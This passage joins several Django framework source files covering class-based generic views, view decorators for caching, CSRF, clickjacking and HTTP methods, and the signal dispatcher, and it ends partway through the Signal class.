            'prefix': self.get_prefix(),
        }

        if self.request.method in ('POST', 'PUT'):
            kwargs.update({
                'data': self.request.POST,
                'files': self.request.FILES,
            })
        return kwargs

    def get_success_url(self):
        """
        Returns the supplied success URL.
        """
        if self.success_url:
            # Forcing possible reverse_lazy evaluation
            url = force_text(self.success_url)
        else:
            raise ImproperlyConfigured(
                "No URL to redirect to. Provide a success_url.")
        return url

    def form_valid(self, form):
        """
        If the form is valid, redirect to the supplied URL.
        """
        return HttpResponseRedirect(self.get_success_url())

    def form_invalid(self, form):
        """
        If the form is invalid, re-render the context data with the
        data-filled form and errors.
        """
        return self.render_to_response(self.get_context_data(form=form))

    def get_context_data(self, **kwargs):
        """
        Insert the form into the context dict.
        """
        if 'form' not in kwargs:
            kwargs['form'] = self.get_form()
        return super(FormMixin, self).get_context_data(**kwargs)


class ModelFormMixin(FormMixin, SingleObjectMixin):
    """
    A mixin that provides a way to show and handle a modelform in a request.
    """
    fields = None

    def get_form_class(self):
        """
        Returns the form class to use in this view.
        """
        if self.fields is not None and self.form_class:
            raise ImproperlyConfigured(
                "Specifying both 'fields' and 'form_class' is not permitted."
            )
        if self.form_class:
            return self.form_class
        else:
            if self.model is not None:
                # If a model has been explicitly provided, use it
                model = self.model
            elif hasattr(self, 'object') and self.object is not None:
                # If this view is operating on a single object, use
                # the class of that object
                model = self.object.__class__
            else:
                # Try to get a queryset and extract the model class
                # from that
                model = self.get_queryset().model

            if self.fields is None:
                raise ImproperlyConfigured(
                    "Using ModelFormMixin (base class of %s) without "
                    "the 'fields' attribute is prohibited." % self.__class__.__name__
                )

            return model_forms.modelform_factory(model, fields=self.fields)

    def get_form_kwargs(self):
        """
        Returns the keyword arguments for instantiating the form.
        """
        kwargs = super(ModelFormMixin, self).get_form_kwargs()
        if hasattr(self, 'object'):
            kwargs.update({'instance': self.object})
        return kwargs

    def get_success_url(self):
        """
        Returns the supplied URL.
        """
        if self.success_url:
            url = self.success_url.format(**self.object.__dict__)
        else:
            try:
                url = self.object.get_absolute_url()
            except AttributeError:
                raise ImproperlyConfigured(
                    "No URL to redirect to.  Either provide a url or define"
                    " a get_absolute_url method on the Model.")
        return url

    def form_valid(self, form):
        """
        If the form is valid, save the associated model.
        """
        self.object = form.save()
        return super(ModelFormMixin, self).form_valid(form)


class ProcessFormView(View):
    """
    A mixin that renders a form on GET and processes it on POST.
    """
    def get(self, request, *args, **kwargs):
        """
        Handles GET requests and instantiates a blank version of the form.
        """
        return self.render_to_response(self.get_context_data())

    def post(self, request, *args, **kwargs):
        """
        Handles POST requests, instantiating a form instance with the passed
        POST variables and then checked for validity.
        """
        form = self.get_form()
        if form.is_valid():
            return self.form_valid(form)
        else:
            return self.form_invalid(form)

    # PUT is a valid HTTP verb for creating (with a known URL) or editing an
    # object, note that browsers only support POST for now.
    def put(self, *args, **kwargs):
        return self.post(*args, **kwargs)


class BaseFormView(FormMixin, ProcessFormView):
    """
    A base view for displaying a form
    """


class FormView(TemplateResponseMixin, BaseFormView):
    """
    A view for displaying a form, and rendering a template response.
    """


class BaseCreateView(ModelFormMixin, ProcessFormView):
    """
    Base view for creating an new object instance.

    Using this base class requires subclassing to provide a response mixin.
    """
    def get(self, request, *args, **kwargs):
        self.object = None
        return super(BaseCreateView, self).get(request, *args, **kwargs)

    def post(self, request, *args, **kwargs):
        self.object = None
        return super(BaseCreateView, self).post(request, *args, **kwargs)


class CreateView(SingleObjectTemplateResponseMixin, BaseCreateView):
    """
    View for creating a new object instance,
    with a response rendered by template.
    """
    template_name_suffix = '_form'


class BaseUpdateView(ModelFormMixin, ProcessFormView):
    """
    Base view for updating an existing object.

    Using this base class requires subclassing to provide a response mixin.
    """
    def get(self, request, *args, **kwargs):
        self.object = self.get_object()
        return super(BaseUpdateView, self).get(request, *args, **kwargs)

    def post(self, request, *args, **kwargs):
        self.object = self.get_object()
        return super(BaseUpdateView, self).post(request, *args, **kwargs)


class UpdateView(SingleObjectTemplateResponseMixin, BaseUpdateView):
    """
    View for updating an object,
    with a response rendered by template.
    """
    template_name_suffix = '_form'


class DeletionMixin(object):
    """
    A mixin providing the ability to delete objects
    """
    success_url = None

    def delete(self, request, *args, **kwargs):
        """
        Calls the delete() method on the fetched object and then
        redirects to the success URL.
        """
        self.object = self.get_object()
        success_url = self.get_success_url()
        self.object.delete()
        return HttpResponseRedirect(success_url)

    # Add support for browsers which only accept GET and POST for now.
    def post(self, request, *args, **kwargs):
        return self.delete(request, *args, **kwargs)

    def get_success_url(self):
        if self.success_url:
            return self.success_url.format(**self.object.__dict__)
        else:
            raise ImproperlyConfigured(
                "No URL to redirect to. Provide a success_url.")


class BaseDeleteView(DeletionMixin, BaseDetailView):
    """
    Base view for deleting an object.

    Using this base class requires subclassing to provide a response mixin.
    """


class DeleteView(SingleObjectTemplateResponseMixin, BaseDeleteView):
    """
    View for deleting an object retrieved with `self.get_object()`,
    with a response rendered by template.
    """
    template_name_suffix = '_confirm_delete'






from __future__ import unicode_literals

import logging
from functools import update_wrapper

from django import http
from django.core.exceptions import ImproperlyConfigured
from django.template.response import TemplateResponse
from django.urls import NoReverseMatch, reverse
from django.utils import six
from django.utils.decorators import classonlymethod

logger = logging.getLogger('django.request')


class ContextMixin(object):
    """
    A default context mixin that passes the keyword arguments received by
    get_context_data as the template context.
    """

    def get_context_data(self, **kwargs):
        if 'view' not in kwargs:
            kwargs['view'] = self
        return kwargs


class View(object):
    """
    Intentionally simple parent class for all views. Only implements
    dispatch-by-method and simple sanity checking.
    """

    http_method_names = ['get', 'post', 'put', 'patch', 'delete', 'head', 'options', 'trace']

    def __init__(self, **kwargs):
        """
        Constructor. Called in the URLconf; can contain helpful extra
        keyword arguments, and other things.
        """
        # Go through keyword arguments, and either save their values to our
        # instance, or raise an error.
        for key, value in six.iteritems(kwargs):
            setattr(self, key, value)

    @classonlymethod
    def as_view(cls, **initkwargs):
        """
        Main entry point for a request-response process.
        """
        for key in initkwargs:
            if key in cls.http_method_names:
                raise TypeError("You tried to pass in the %s method name as a "
                                "keyword argument to %s(). Don't do that."
                                % (key, cls.__name__))
            if not hasattr(cls, key):
                raise TypeError("%s() received an invalid keyword %r. as_view "
                                "only accepts arguments that are already "
                                "attributes of the class." % (cls.__name__, key))

        def view(request, *args, **kwargs):
            self = cls(**initkwargs)
            if hasattr(self, 'get') and not hasattr(self, 'head'):
                self.head = self.get
            self.request = request
            self.args = args
            self.kwargs = kwargs
            return self.dispatch(request, *args, **kwargs)
        view.view_class = cls
        view.view_initkwargs = initkwargs

        # take name and docstring from class
        update_wrapper(view, cls, updated=())

        # and possible attributes set by decorators
        # like csrf_exempt from dispatch
        update_wrapper(view, cls.dispatch, assigned=())
        return view

    def dispatch(self, request, *args, **kwargs):
        # Try to dispatch to the right method; if a method doesn't exist,
        # defer to the error handler. Also defer to the error handler if the
        # request method isn't on the approved list.
        if request.method.lower() in self.http_method_names:
            handler = getattr(self, request.method.lower(), self.http_method_not_allowed)
        else:
            handler = self.http_method_not_allowed
        return handler(request, *args, **kwargs)

    def http_method_not_allowed(self, request, *args, **kwargs):
        logger.warning(
            'Method Not Allowed (%s): %s', request.method, request.path,
            extra={'status_code': 405, 'request': request}
        )
        return http.HttpResponseNotAllowed(self._allowed_methods())

    def options(self, request, *args, **kwargs):
        """
        Handles responding to requests for the OPTIONS HTTP verb.
        """
        response = http.HttpResponse()
        response['Allow'] = ', '.join(self._allowed_methods())
        response['Content-Length'] = '0'
        return response

    def _allowed_methods(self):
        return [m.upper() for m in self.http_method_names if hasattr(self, m)]


class TemplateResponseMixin(object):
    """
    A mixin that can be used to render a template.
    """
    template_name = None
    template_engine = None
    response_class = TemplateResponse
    content_type = None

    def render_to_response(self, context, **response_kwargs):
        """
        Returns a response, using the `response_class` for this
        view, with a template rendered with the given context.

        If any keyword arguments are provided, they will be
        passed to the constructor of the response class.
        """
        response_kwargs.setdefault('content_type', self.content_type)
        return self.response_class(
            request=self.request,
            template=self.get_template_names(),
            context=context,
            using=self.template_engine,
            **response_kwargs
        )

    def get_template_names(self):
        """
        Returns a list of template names to be used for the request. Must return
        a list. May not be called if render_to_response is overridden.
        """
        if self.template_name is None:
            raise ImproperlyConfigured(
                "TemplateResponseMixin requires either a definition of "
                "'template_name' or an implementation of 'get_template_names()'")
        else:
            return [self.template_name]


class TemplateView(TemplateResponseMixin, ContextMixin, View):
    """
    A view that renders a template.  This view will also pass into the context
    any keyword arguments passed by the URLconf.
    """
    def get(self, request, *args, **kwargs):
        context = self.get_context_data(**kwargs)
        return self.render_to_response(context)


class RedirectView(View):
    """
    A view that provides a redirect on any GET request.
    """
    permanent = False
    url = None
    pattern_name = None
    query_string = False

    def get_redirect_url(self, *args, **kwargs):
        """
        Return the URL redirect to. Keyword arguments from the
        URL pattern match generating the redirect request
        are provided as kwargs to this method.
        """
        if self.url:
            url = self.url % kwargs
        elif self.pattern_name:
            try:
                url = reverse(self.pattern_name, args=args, kwargs=kwargs)
            except NoReverseMatch:
                return None
        else:
            return None

        args = self.request.META.get('QUERY_STRING', '')
        if args and self.query_string:
            url = "%s?%s" % (url, args)
        return url

    def get(self, request, *args, **kwargs):
        url = self.get_redirect_url(*args, **kwargs)
        if url:
            if self.permanent:
                return http.HttpResponsePermanentRedirect(url)
            else:
                return http.HttpResponseRedirect(url)
        else:
            logger.warning(
                'Gone: %s', request.path,
                extra={'status_code': 410, 'request': request}
            )
            return http.HttpResponseGone()

    def head(self, request, *args, **kwargs):
        return self.get(request, *args, **kwargs)

    def post(self, request, *args, **kwargs):
        return self.get(request, *args, **kwargs)

    def options(self, request, *args, **kwargs):
        return self.get(request, *args, **kwargs)

    def delete(self, request, *args, **kwargs):
        return self.get(request, *args, **kwargs)

    def put(self, request, *args, **kwargs):
        return self.get(request, *args, **kwargs)

    def patch(self, request, *args, **kwargs):
        return self.get(request, *args, **kwargs)






from django.views.generic.base import RedirectView, TemplateView, View
from django.views.generic.dates import (
    ArchiveIndexView, DateDetailView, DayArchiveView, MonthArchiveView,
    TodayArchiveView, WeekArchiveView, YearArchiveView,
)
from django.views.generic.detail import DetailView
from django.views.generic.edit import (
    CreateView, DeleteView, FormView, UpdateView,
)
from django.views.generic.list import ListView

__all__ = [
    'View', 'TemplateView', 'RedirectView', 'ArchiveIndexView',
    'YearArchiveView', 'MonthArchiveView', 'WeekArchiveView', 'DayArchiveView',
    'TodayArchiveView', 'DateDetailView', 'DetailView', 'FormView',
    'CreateView', 'UpdateView', 'DeleteView', 'ListView', 'GenericViewError',
]


class GenericViewError(Exception):
    """A problem in a generic view."""
    pass






from __future__ import unicode_literals

from django.core.exceptions import ImproperlyConfigured
from django.db import models
from django.http import Http404
from django.utils.translation import ugettext as _
from django.views.generic.base import ContextMixin, TemplateResponseMixin, View


class SingleObjectMixin(ContextMixin):
    """
    Provides the ability to retrieve a single object for further manipulation.
    """
    model = None
    queryset = None
    slug_field = 'slug'
    context_object_name = None
    slug_url_kwarg = 'slug'
    pk_url_kwarg = 'pk'
    query_pk_and_slug = False

    def get_object(self, queryset=None):
        """
        Returns the object the view is displaying.

        By default this requires `self.queryset` and a `pk` or `slug` argument
        in the URLconf, but subclasses can override this to return any object.
        """
        # Use a custom queryset if provided; this is required for subclasses
        # like DateDetailView
        if queryset is None:
            queryset = self.get_queryset()

        # Next, try looking up by primary key.
        pk = self.kwargs.get(self.pk_url_kwarg)
        slug = self.kwargs.get(self.slug_url_kwarg)
        if pk is not None:
            queryset = queryset.filter(pk=pk)

        # Next, try looking up by slug.
        if slug is not None and (pk is None or self.query_pk_and_slug):
            slug_field = self.get_slug_field()
            queryset = queryset.filter(**{slug_field: slug})

        # If none of those are defined, it's an error.
        if pk is None and slug is None:
            raise AttributeError("Generic detail view %s must be called with "
                                 "either an object pk or a slug."
                                 % self.__class__.__name__)

        try:
            # Get the single item from the filtered queryset
            obj = queryset.get()
        except queryset.model.DoesNotExist:
            raise Http404(_("No %(verbose_name)s found matching the query") %
                          {'verbose_name': queryset.model._meta.verbose_name})
        return obj

    def get_queryset(self):
        """
        Return the `QuerySet` that will be used to look up the object.

        Note that this method is called by the default implementation of
        `get_object` and may not be called if `get_object` is overridden.
        """
        if self.queryset is None:
            if self.model:
                return self.model._default_manager.all()
            else:
                raise ImproperlyConfigured(
                    "%(cls)s is missing a QuerySet. Define "
                    "%(cls)s.model, %(cls)s.queryset, or override "
                    "%(cls)s.get_queryset()." % {
                        'cls': self.__class__.__name__
                    }
                )
        return self.queryset.all()

    def get_slug_field(self):
        """
        Get the name of a slug field to be used to look up by slug.
        """
        return self.slug_field

    def get_context_object_name(self, obj):
        """
        Get the name to use for the object.
        """
        if self.context_object_name:
            return self.context_object_name
        elif isinstance(obj, models.Model):
            return obj._meta.model_name
        else:
            return None

    def get_context_data(self, **kwargs):
        """
        Insert the single object into the context dict.
        """
        context = {}
        if self.object:
            context['object'] = self.object
            context_object_name = self.get_context_object_name(self.object)
            if context_object_name:
                context[context_object_name] = self.object
        context.update(kwargs)
        return super(SingleObjectMixin, self).get_context_data(**context)


class BaseDetailView(SingleObjectMixin, View):
    """
    A base view for displaying a single object
    """
    def get(self, request, *args, **kwargs):
        self.object = self.get_object()
        context = self.get_context_data(object=self.object)
        return self.render_to_response(context)


class SingleObjectTemplateResponseMixin(TemplateResponseMixin):
    template_name_field = None
    template_name_suffix = '_detail'

    def get_template_names(self):
        """
        Return a list of template names to be used for the request. May not be
        called if render_to_response is overridden. Returns the following list:

        * the value of ``template_name`` on the view (if provided)
        * the contents of the ``template_name_field`` field on the
          object instance that the view is operating upon (if available)
        * ``<app_label>/<model_name><template_name_suffix>.html``
        """
        try:
            names = super(SingleObjectTemplateResponseMixin, self).get_template_names()
        except ImproperlyConfigured:
            # If template_name isn't specified, it's not a problem --
            # we just start with an empty list.
            names = []

            # If self.template_name_field is set, grab the value of the field
            # of that name from the object; this is the most specific template
            # name, if given.
            if self.object and self.template_name_field:
                name = getattr(self.object, self.template_name_field, None)
                if name:
                    names.insert(0, name)

            # The least-specific option is the default <app>/<model>_detail.html;
            # only use this if the object in question is a model.
            if isinstance(self.object, models.Model):
                object_meta = self.object._meta
                names.append("%s/%s%s.html" % (
                    object_meta.app_label,
                    object_meta.model_name,
                    self.template_name_suffix
                ))
            elif hasattr(self, 'model') and self.model is not None and issubclass(self.model, models.Model):
                names.append("%s/%s%s.html" % (
                    self.model._meta.app_label,
                    self.model._meta.model_name,
                    self.template_name_suffix
                ))

            # If we still haven't managed to find any template names, we should
            # re-raise the ImproperlyConfigured to alert the user.
            if not names:
                raise

        return names


class DetailView(SingleObjectTemplateResponseMixin, BaseDetailView):
    """
    Render a "detail" view of an object.

    By default this is a model instance looked up from `self.queryset`, but the
    view will support display of *any* object by overriding `self.get_object()`.
    """






from django.middleware.gzip import GZipMiddleware
from django.utils.decorators import decorator_from_middleware

gzip_page = decorator_from_middleware(GZipMiddleware)
gzip_page.__doc__ = "Decorator for views that gzips pages if the client supports it."






from functools import wraps

from django.middleware.cache import CacheMiddleware
from django.utils.cache import add_never_cache_headers, patch_cache_control
from django.utils.decorators import (
    available_attrs, decorator_from_middleware_with_args,
)


def cache_page(*args, **kwargs):
    """
    Decorator for views that tries getting the page from the cache and
    populates the cache if the page isn't in the cache yet.

    The cache is keyed by the URL and some data from the headers.
    Additionally there is the key prefix that is used to distinguish different
    cache areas in a multi-site setup. You could use the
    get_current_site().domain, for example, as that is unique across a Django
    project.

    Additionally, all headers from the response's Vary header will be taken
    into account on caching -- just like the middleware does.
    """
    # We also add some asserts to give better error messages in case people are
    # using other ways to call cache_page that no longer work.
    if len(args) != 1 or callable(args[0]):
        raise TypeError("cache_page has a single mandatory positional argument: timeout")
    cache_timeout = args[0]
    cache_alias = kwargs.pop('cache', None)
    key_prefix = kwargs.pop('key_prefix', None)
    if kwargs:
        raise TypeError("cache_page has two optional keyword arguments: cache and key_prefix")

    return decorator_from_middleware_with_args(CacheMiddleware)(
        cache_timeout=cache_timeout, cache_alias=cache_alias, key_prefix=key_prefix
    )


def cache_control(**kwargs):
    def _cache_controller(viewfunc):
        @wraps(viewfunc, assigned=available_attrs(viewfunc))
        def _cache_controlled(request, *args, **kw):
            response = viewfunc(request, *args, **kw)
            patch_cache_control(response, **kwargs)
            return response
        return _cache_controlled
    return _cache_controller


def never_cache(view_func):
    """
    Decorator that adds headers to a response so that it will
    never be cached.
    """
    @wraps(view_func, assigned=available_attrs(view_func))
    def _wrapped_view_func(request, *args, **kwargs):
        response = view_func(request, *args, **kwargs)
        add_never_cache_headers(response)
        return response
    return _wrapped_view_func












from functools import wraps

from django.utils.decorators import available_attrs


def xframe_options_deny(view_func):
    """
    Modifies a view function so its response has the X-Frame-Options HTTP
    header set to 'DENY' as long as the response doesn't already have that
    header set.

    e.g.

    @xframe_options_deny
    def some_view(request):
        ...
    """
    def wrapped_view(*args, **kwargs):
        resp = view_func(*args, **kwargs)
        if resp.get('X-Frame-Options') is None:
            resp['X-Frame-Options'] = 'DENY'
        return resp
    return wraps(view_func, assigned=available_attrs(view_func))(wrapped_view)


def xframe_options_sameorigin(view_func):
    """
    Modifies a view function so its response has the X-Frame-Options HTTP
    header set to 'SAMEORIGIN' as long as the response doesn't already have
    that header set.

    e.g.

    @xframe_options_sameorigin
    def some_view(request):
        ...
    """
    def wrapped_view(*args, **kwargs):
        resp = view_func(*args, **kwargs)
        if resp.get('X-Frame-Options') is None:
            resp['X-Frame-Options'] = 'SAMEORIGIN'
        return resp
    return wraps(view_func, assigned=available_attrs(view_func))(wrapped_view)


def xframe_options_exempt(view_func):
    """
    Modifies a view function by setting a response variable that instructs
    XFrameOptionsMiddleware to NOT set the X-Frame-Options HTTP header.

    e.g.

    @xframe_options_exempt
    def some_view(request):
        ...
    """
    def wrapped_view(*args, **kwargs):
        resp = view_func(*args, **kwargs)
        resp.xframe_options_exempt = True
        return resp
    return wraps(view_func, assigned=available_attrs(view_func))(wrapped_view)






import functools

from django.http import HttpRequest


def sensitive_variables(*variables):
    """
    Indicates which variables used in the decorated function are sensitive, so
    that those variables can later be treated in a special way, for example
    by hiding them when logging unhandled exceptions.

    Two forms are accepted:

    * with specified variable names:

        @sensitive_variables('user', 'password', 'credit_card')
        def my_function(user):
            password = user.pass_word
            credit_card = user.credit_card_number
            ...

    * without any specified variable names, in which case it is assumed that
      all variables are considered sensitive:

        @sensitive_variables()
        def my_function()
            ...
    """
    def decorator(func):
        @functools.wraps(func)
        def sensitive_variables_wrapper(*func_args, **func_kwargs):
            if variables:
                sensitive_variables_wrapper.sensitive_variables = variables
            else:
                sensitive_variables_wrapper.sensitive_variables = '__ALL__'
            return func(*func_args, **func_kwargs)
        return sensitive_variables_wrapper
    return decorator


def sensitive_post_parameters(*parameters):
    """
    Indicates which POST parameters used in the decorated view are sensitive,
    so that those parameters can later be treated in a special way, for example
    by hiding them when logging unhandled exceptions.

    Two forms are accepted:

    * with specified parameters:

        @sensitive_post_parameters('password', 'credit_card')
        def my_view(request):
            pw = request.POST['password']
            cc = request.POST['credit_card']
            ...

    * without any specified parameters, in which case it is assumed that
      all parameters are considered sensitive:

        @sensitive_post_parameters()
        def my_view(request)
            ...
    """
    def decorator(view):
        @functools.wraps(view)
        def sensitive_post_parameters_wrapper(request, *args, **kwargs):
            assert isinstance(request, HttpRequest), (
                "sensitive_post_parameters didn't receive an HttpRequest. "
                "If you are decorating a classmethod, be sure to use "
                "@method_decorator."
            )
            if parameters:
                request.sensitive_post_parameters = parameters
            else:
                request.sensitive_post_parameters = '__ALL__'
            return view(request, *args, **kwargs)
        return sensitive_post_parameters_wrapper
    return decorator






from functools import wraps

from django.utils.cache import patch_vary_headers
from django.utils.decorators import available_attrs


def vary_on_headers(*headers):
    """
    A view decorator that adds the specified headers to the Vary header of the
    response. Usage:

       @vary_on_headers('Cookie', 'Accept-language')
       def index(request):
           ...

    Note that the header names are not case-sensitive.
    """
    def decorator(func):
        @wraps(func, assigned=available_attrs(func))
        def inner_func(*args, **kwargs):
            response = func(*args, **kwargs)
            patch_vary_headers(response, headers)
            return response
        return inner_func
    return decorator


def vary_on_cookie(func):
    """
    A view decorator that adds "Cookie" to the Vary header of a response. This
    indicates that a page's contents depends on cookies. Usage:

        @vary_on_cookie
        def index(request):
            ...
    """
    @wraps(func, assigned=available_attrs(func))
    def inner_func(*args, **kwargs):
        response = func(*args, **kwargs)
        patch_vary_headers(response, ('Cookie',))
        return response
    return inner_func






"""
Decorators for views based on HTTP headers.
"""

import logging
from calendar import timegm
from functools import wraps

from django.http import HttpResponseNotAllowed
from django.middleware.http import ConditionalGetMiddleware
from django.utils.cache import get_conditional_response
from django.utils.decorators import available_attrs, decorator_from_middleware
from django.utils.http import http_date, quote_etag

conditional_page = decorator_from_middleware(ConditionalGetMiddleware)

logger = logging.getLogger('django.request')


def require_http_methods(request_method_list):
    """
    Decorator to make a view only accept particular request methods.  Usage::

        @require_http_methods(["GET", "POST"])
        def my_view(request):
            # I can assume now that only GET or POST requests make it this far
            # ...

    Note that request methods should be in uppercase.
    """
    def decorator(func):
        @wraps(func, assigned=available_attrs(func))
        def inner(request, *args, **kwargs):
            if request.method not in request_method_list:
                logger.warning(
                    'Method Not Allowed (%s): %s', request.method, request.path,
                    extra={'status_code': 405, 'request': request}
                )
                return HttpResponseNotAllowed(request_method_list)
            return func(request, *args, **kwargs)
        return inner
    return decorator

require_GET = require_http_methods(["GET"])
require_GET.__doc__ = "Decorator to require that a view only accepts the GET method."

require_POST = require_http_methods(["POST"])
require_POST.__doc__ = "Decorator to require that a view only accepts the POST method."

require_safe = require_http_methods(["GET", "HEAD"])
require_safe.__doc__ = "Decorator to require that a view only accepts safe methods: GET and HEAD."


def condition(etag_func=None, last_modified_func=None):
    """
    Decorator to support conditional retrieval (or change) for a view
    function.

    The parameters are callables to compute the ETag and last modified time for
    the requested resource, respectively. The callables are passed the same
    parameters as the view itself. The Etag function should return a string (or
    None if the resource doesn't exist), while the last_modified function
    should return a datetime object (or None if the resource doesn't exist).

    If both parameters are provided, all the preconditions must be met before
    the view is processed.

    This decorator will either pass control to the wrapped view function or
    return an HTTP 304 response (unmodified) or 412 response (preconditions
    failed), depending upon the request method.

    Any behavior marked as "undefined" in the HTTP spec (e.g. If-none-match
    plus If-modified-since headers) will result in the view function being
    called.
    """
    def decorator(func):
        @wraps(func, assigned=available_attrs(func))
        def inner(request, *args, **kwargs):
            # Compute values (if any) for the requested resource.
            def get_last_modified():
                if last_modified_func:
                    dt = last_modified_func(request, *args, **kwargs)
                    if dt:
                        return timegm(dt.utctimetuple())

            res_etag = etag_func(request, *args, **kwargs) if etag_func else None
            res_last_modified = get_last_modified()

            response = get_conditional_response(
                request,
                etag=res_etag,
                last_modified=res_last_modified,
            )

            if response is None:
                response = func(request, *args, **kwargs)

            # Set relevant headers on the response if they don't already exist.
            if res_last_modified and not response.has_header('Last-Modified'):
                response['Last-Modified'] = http_date(res_last_modified)
            if res_etag and not response.has_header('ETag'):
                response['ETag'] = quote_etag(res_etag)

            return response

        return inner
    return decorator


# Shortcut decorators for common cases based on ETag or Last-Modified only
def etag(etag_func):
    return condition(etag_func=etag_func)


def last_modified(last_modified_func):
    return condition(last_modified_func=last_modified_func)






from functools import wraps

from django.middleware.csrf import CsrfViewMiddleware, get_token
from django.utils.decorators import available_attrs, decorator_from_middleware

csrf_protect = decorator_from_middleware(CsrfViewMiddleware)
csrf_protect.__name__ = "csrf_protect"
csrf_protect.__doc__ = """
This decorator adds CSRF protection in exactly the same way as
CsrfViewMiddleware, but it can be used on a per view basis.  Using both, or
using the decorator multiple times, is harmless and efficient.
"""


class _EnsureCsrfToken(CsrfViewMiddleware):
    # We need this to behave just like the CsrfViewMiddleware, but not reject
    # requests or log warnings.
    def _reject(self, request, reason):
        return None


requires_csrf_token = decorator_from_middleware(_EnsureCsrfToken)
requires_csrf_token.__name__ = 'requires_csrf_token'
requires_csrf_token.__doc__ = """
Use this decorator on views that need a correct csrf_token available to
RequestContext, but without the CSRF protection that csrf_protect
enforces.
"""


class _EnsureCsrfCookie(CsrfViewMiddleware):
    def _reject(self, request, reason):
        return None

    def process_view(self, request, callback, callback_args, callback_kwargs):
        retval = super(_EnsureCsrfCookie, self).process_view(request, callback, callback_args, callback_kwargs)
        # Forces process_response to send the cookie
        get_token(request)
        return retval


ensure_csrf_cookie = decorator_from_middleware(_EnsureCsrfCookie)
ensure_csrf_cookie.__name__ = 'ensure_csrf_cookie'
ensure_csrf_cookie.__doc__ = """
Use this decorator to ensure that a view sets a CSRF cookie, whether or not it
uses the csrf_token template tag, or the CsrfViewMiddleware is used.
"""


def csrf_exempt(view_func):
    """
    Marks a view function as being exempt from the CSRF view protection.
    """
    # We could just do view_func.csrf_exempt = True, but decorators
    # are nicer if they don't have side-effects, so we return a new
    # function.
    def wrapped_view(*args, **kwargs):
        return view_func(*args, **kwargs)
    wrapped_view.csrf_exempt = True
    return wraps(view_func, assigned=available_attrs(view_func))(wrapped_view)






"""
weakref_backports is a partial backport of the weakref module for python
versions below 3.4.

Copyright (C) 2013 Python Software Foundation, see LICENSE.python for details.

The following changes were made to the original sources during backporting:

 * Added `self` to `super` calls.
 * Removed `from None` when raising exceptions.

"""
from weakref import ref


class WeakMethod(ref):
    """
    A custom `weakref.ref` subclass which simulates a weak reference to
    a bound method, working around the lifetime problem of bound methods.
    """

    __slots__ = "_func_ref", "_meth_type", "_alive", "__weakref__"

    def __new__(cls, meth, callback=None):
        try:
            obj = meth.__self__
            func = meth.__func__
        except AttributeError:
            raise TypeError("argument should be a bound method, not {}"
                            .format(type(meth)))
        def _cb(arg):
            # The self-weakref trick is needed to avoid creating a reference
            # cycle.
            self = self_wr()
            if self._alive:
                self._alive = False
                if callback is not None:
                    callback(self)
        self = ref.__new__(cls, obj, _cb)
        self._func_ref = ref(func, _cb)
        self._meth_type = type(meth)
        self._alive = True
        self_wr = ref(self)
        return self

    def __call__(self):
        obj = super(WeakMethod, self).__call__()
        func = self._func_ref()
        if obj is None or func is None:
            return None
        return self._meth_type(func, obj)

    def __eq__(self, other):
        if isinstance(other, WeakMethod):
            if not self._alive or not other._alive:
                return self is other
            return ref.__eq__(self, other) and self._func_ref == other._func_ref
        return False

    def __ne__(self, other):
        if isinstance(other, WeakMethod):
            if not self._alive or not other._alive:
                return self is not other
            return ref.__ne__(self, other) or self._func_ref != other._func_ref
        return True

    __hash__ = ref.__hash__






"""Multi-consumer multi-producer dispatching mechanism

Originally based on pydispatch (BSD) http://pypi.python.org/pypi/PyDispatcher/2.0.1
See license.txt for original license.

Heavily modified for Django's purposes.
"""

from django.dispatch.dispatcher import Signal, receiver  # NOQA






import sys
import threading
import warnings
import weakref

from django.utils import six
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.inspect import func_accepts_kwargs
from django.utils.six.moves import range

if six.PY2:
    from .weakref_backports import WeakMethod
else:
    from weakref import WeakMethod


def _make_id(target):
    if hasattr(target, '__func__'):
        return (id(target.__self__), id(target.__func__))
    return id(target)
NONE_ID = _make_id(None)

# A marker for caching
NO_RECEIVERS = object()


class Signal(object):
    """
    Base class for all signals

    Internal attributes:

        receivers
            { receiverkey (id) : weakref(receiver) }
    """
    def __init__(self, providing_args=None, use_caching=False):
        """
        Create a new signal.

        providing_args
            A list of the arguments this signal can pass along in a send() call.
        """
        self.receivers = []
        if providing_args is None:
            providing_args = []
        self.providing_args = set(providing_args)
        self.lock = threading.Lock()
        self.use_caching = use_caching
        # For convenience we create empty caches even if they are not used.
        # A note about caching: if use_caching is defined, then for each
        # distinct sender we cache the receivers that sender has in
        # 'sender_receivers_cache'. The cache is cleaned when .connect() or
        # .disconnect() is called and populated on send().
        self.sender_receivers_cache = weakref.WeakKeyDictionary() if use_caching else {}
        self._dead_receivers = False

    def connect(self, receiver, sender=None, weak=True, dispatch_uid=None):
        """
        Connect receiver to sender for signal.

        Arguments:

            receiver
                A function or an instance method which is to receive signals.
                Receivers must be hashable objects.

                If weak is True, then receiver must be weak referenceable.

                Receivers must be able to accept keyword arguments.

                If a receiver is connected with a dispatch_uid argument, it
                will not be added if another receiver was already connected
                with that dispatch_uid.

            sender
                The sender to which the receiver should respond. Must either be
                a Python object, or None to receive events from any sender.

            weak
                Whether to use weak references to the receiver. By default, the
                module will attempt to use weak references to the receiver
                objects. If this parameter is false, then strong references will
                be used.

            dispatch_uid
                An identifier used to uniquely identify a particular instance of
                a receiver. This will usually be a string, though it may be
                anything hashable.
        """
        from django.conf import settings

        # If DEBUG is on, check that we got a good receiver
        if settings.configured and settings.DEBUG:
            assert callable(receiver), "Signal receivers must be callable."

            # Check for **kwargs
            if not func_accepts_kwargs(receiver):
                raise ValueError("Signal receivers must accept keyword arguments (**kwargs).")

        if dispatch_uid:
            lookup_key = (dispatch_uid, _make_id(sender))
        else:
            lookup_key = (_make_id(receiver), _make_id(sender))

        if weak:
            ref = weakref.ref
            receiver_object = receiver
            # Check for bound methods
            if hasattr(receiver, '__self__') and hasattr(receiver, '__func__'):
                ref = WeakMethod
                receiver_object = receiver.__self__
            if six.PY3:
                receiver = ref(receiver)
                weakref.finalize(receiver_object, self._remove_receiver)
            else:
                receiver = ref(receiver, self._remove_receiver)

        with self.lock:
            self._clear_dead_receivers()
            for r_key, _ in self.receivers:
                if r_key == lookup_key:
                    break
            else:
                self.receivers.append((lookup_key, receiver))
            self.sender_receivers_cache.clear()

    def disconnect(self, receiver=None, sender=None, weak=None, dispatch_uid=None):
        """
        Disconnect receiver from sender for signal.

        If weak references are used, disconnect need not be called. The receiver
        will be remove from dispatch automatically.

        Arguments:

            receiver
                The registered receiver to disconnect. May be none if
                dispatch_uid is specified.

            sender
                The registered sender to disconnect

            dispatch_uid
                the unique identifier of the receiver to disconnect
        """
